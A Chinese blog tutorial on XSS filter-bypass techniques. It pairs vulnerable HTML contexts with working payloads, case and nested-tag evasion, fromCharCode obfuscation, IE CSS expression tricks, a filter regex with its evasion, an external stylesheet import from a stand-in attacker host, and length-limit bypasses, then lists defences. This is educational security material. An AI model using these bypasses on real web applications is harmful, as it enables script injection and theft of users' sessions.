XSS绕过姿势

Posted HACK学习呀

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS绕过姿势相关的知识,希望对你有一定的参考价值。

定义

XSS为跨站攻击脚本,指攻击者将js脚本(可能是其他脚本)插入到web页面,当用户浏览该网页是,代码就会执行,造成恶意攻击。

分类

Xss分为三种,反射型xss、存储型xss、DOM-based xss。反射型xss多指欺骗用户去点击包含漏洞的链接,造成攻击,危害小,不持久,服务器内不包含js脚本代码。存储型xss多指攻击者利用评论,发表文章等可以将代码写入服务器的地方,将恶意代码植入服务器,当用户浏览该网页时,存储在里面的代码会执行,造成攻击。DOM-based xss指的是通过修改页面的DOM节点形成的xss。注意函数document.getElementById().

漏洞特征

常存在于用户与服务器进行数据交互的地方,一般在应用拼接变量到html页面时产生。其实用户可以上传的所有数据,包括header等都可能包含脚本文件并加入服务器。

在HTML标签中输出:

代码:<div>$var</div>

Xss payload:

<div><script>alert(/xss/)</script></div>

代码:<a href=# >$var</a>

Xss payload:

<a href=# ><img src="" onerror="alert('xss')"/></a>

所有在标签中输出的变量,未经任何处理,都可能造成xss.防御方法是对变量使用HtmlEncode.

在html属性中输出:

代码:

<div id="abc" name="$var"></div>

Xss paload:

<div id="abc" name=""<script>alert('xss')</script><""></div>

防御方法也是对变量HtmlEncode.

在script标签中输出:

代码:<script>var x=="$var";</script>

Xss payload:

<script>var x=="";alert('xss');//"</script><script>var x==""</script><script>alert('xss')//"</script>


防御方法是使用javascriptEncode

在事件中输出:

代码:<a href=# onclick="funcA('$var')>test</a>

Xss payload:

<a href=# onclick="funcA('');alert('xss');//')">test</a>

防御方式是使用JavascriptEncode

在css中输出:

Xss payload:

<STYLE>li {list-style-image:url("javascript:alert('xss')";}</STYLE><UL><LI>XSS

在STYLE等标签中插入url。造成攻击。一般尽可能的禁止用户可控制的变量在style标签,html标签的style属性,以及css文件中输出。如果真的有需求,使用encodeForCSS()函数。

在地址中输出:

代码:<a href="http://www.evil.com/?test=$var" >test</a>

Xsspayload:

<a href="http://www.evil.com/?test=" onclick="alert('xss')"" >test</a>

防御方法是用URLEncode。但注意别改变url语义。

document.write在页面输出:

代码:<script>document.write(location.hash.substring(1))</script>

直接在页面输出锚点id,构造一个带xss的锚点即可。

Xss payload:

http://www.aa.php(http://www.aa.php/)#<script>alert('xss')</script>

XSS payload构造技巧及绕过姿势

script标签:

如果服务器对script进行了一次移除(preg_replace函数),可以用大小写:

<scripT>alert('xss')</scripT>

如果过滤是加了/i,大小写无法绕过,则用双标签:

<scr<script>ipt>alert(‘xss’)</scr</script>ipt>

如果过滤了alert,可用:

<script>eval(FromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))</script>

该标签还可以用于定义一个行内的脚本或者从其他地方引入脚本:

<script ></script>

base>标签:

Onclick事件:

<input type="text" name="test" onclick="alert('xss')">

Onmousedown事件:

<input type="text" name="test" onmousedown="alert('xss')">

img标签配合onerror事件:

<img src=”” onerror=”alert(‘xss’)”/>

Window.name对象:

攻击者可以利用这个对象实现跨域跨页面传递数据。Window对象是浏览器的窗体,很多时候不受同源策略的限制。方法是对window.name复制,便可以执行该段代码。执行跳转页面等操作。

行内样式(inline style):

我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:

<div style="color: expression(alert('XSS'))">

过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:

/style=[^<]*((expression\s*?[<]∗?)|(behavior\s*:))[^<]*(?=\>)/Uis

所以,让我们需要把 < 放到其他地方:

<div style="color: '<'; color: expression(alert('XSS'))">

css import:

IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。

<style>

@import url("<http://attacker.org/malicious.css>");

</style>

malicious.css:

body {

color: expression(alert('XSS'));

}

为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:

<style>

@imp\ort url("http://attacker.org/malicious.css");

</style>

IE 浏览器会接受反斜杠,但是我们绕过了过滤器

利用字符编码:

%c1;alert(/xss/);//

因为有些页面会编码转义,而%c1与\两个字符组合在一起形成一个新的字符,从而绕过转义。

绕过长度限制:

1.利用js事件绕过
2.将payload写到别处,通过简短的代码加载这段代码。

比如location.hash。并且根据http协议,这里的内容不会在http包中发。所以web日志不会记录到里面的内容:

<input type="text" value="" onclick="eval(location.hash.substr(1))" />

因为location.hash的第一个字符是#,所以必须除掉第一个字符。

构造url:http://www.a.com/test.html#alert('xss')

3.利用注释符绕过长度限制

如果我们能控制两个文本框,第二个文本框可以控制更多字节,可以用html的注释符打通两个文本框,例:

<input id=1 type="text" value=""/>

Xxxxxxxx

<inpur id=2 type="text" value=""/>

第一个文本框输入”><!–

第二个文本框输入–>

构造出:

<input id=1 type="text" value=""><!--"/>Xxxxxxxx<inpur id=2 type="text" value="--><script>alert('xss')</script>"/>

单引号绕过:

用单引号闭合绕开过滤

防御措施

1.在服务器配置选项中将session.cookie_httponly设为true。防止攻击者劫持cookie
2.对即将输出内容进行转义或编码,采用HtmlEncode, htmlspecialchars(),htmlentities() ,JavascriptEncode等函数处理后再输出。
3.处理用户输入的图片,视频的富文本,采用白名单的方式过滤ifrme,script,base,form,svg,img等危险标签。尽可能禁用用户自定义css和style。以及on事件
4.对所有用户提交的内容进行可靠的验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受长度范围内、采用适当格式、预期字符内容提交,其他内容一律以白名单的方式过滤。
5.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站执行
4.确认接收的内容不包含js脚本,去掉任何对远程内容的引用(特别是css和js)
6.对javascript字段进行检索,若含有,一般都含有xss攻击
7.禁用script,base等危险标签。

8.处理用户输入的图片,视频的富文本,采用白名单的方式过滤ifrme,script,base,form,svg等危险标签。尽可能禁用用户自定义css和style。以及on事件

9.防御DOM Based xss 当变量输出到script时进行一次js编码,然后在document.write到页面时,如果是输出到js事件或者js脚本,则再js编码一次。如果输出到html内容或者属性,则再做一次htmlEncode。


推荐阅读:

XSS绕过WAF总结:

http://vinc.top/2014/11/13/%E7%BB%95%E8%BF%87waf%E7%9A%84%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/

WAF的XSS绕过姿势

https://www.freebuf.com/articles/web/81959.html

XSS过滤速查表

https://www.freebuf.com/articles/web/153055.html

参考来源: jlzj's博客

如有侵权,请联系删除

以上是关于XSS绕过姿势的主要内容,如果未能解决你的问题,请参考以下文章

xss绕过姿势总结

通过脚本片段绕过XSS防御

作者如何利用xss漏洞shua盒子rank的

XSS 绕过技术

如何利用XSS脚本攻击绕过WAF防火墙

XSS注入-简单过滤绕过方法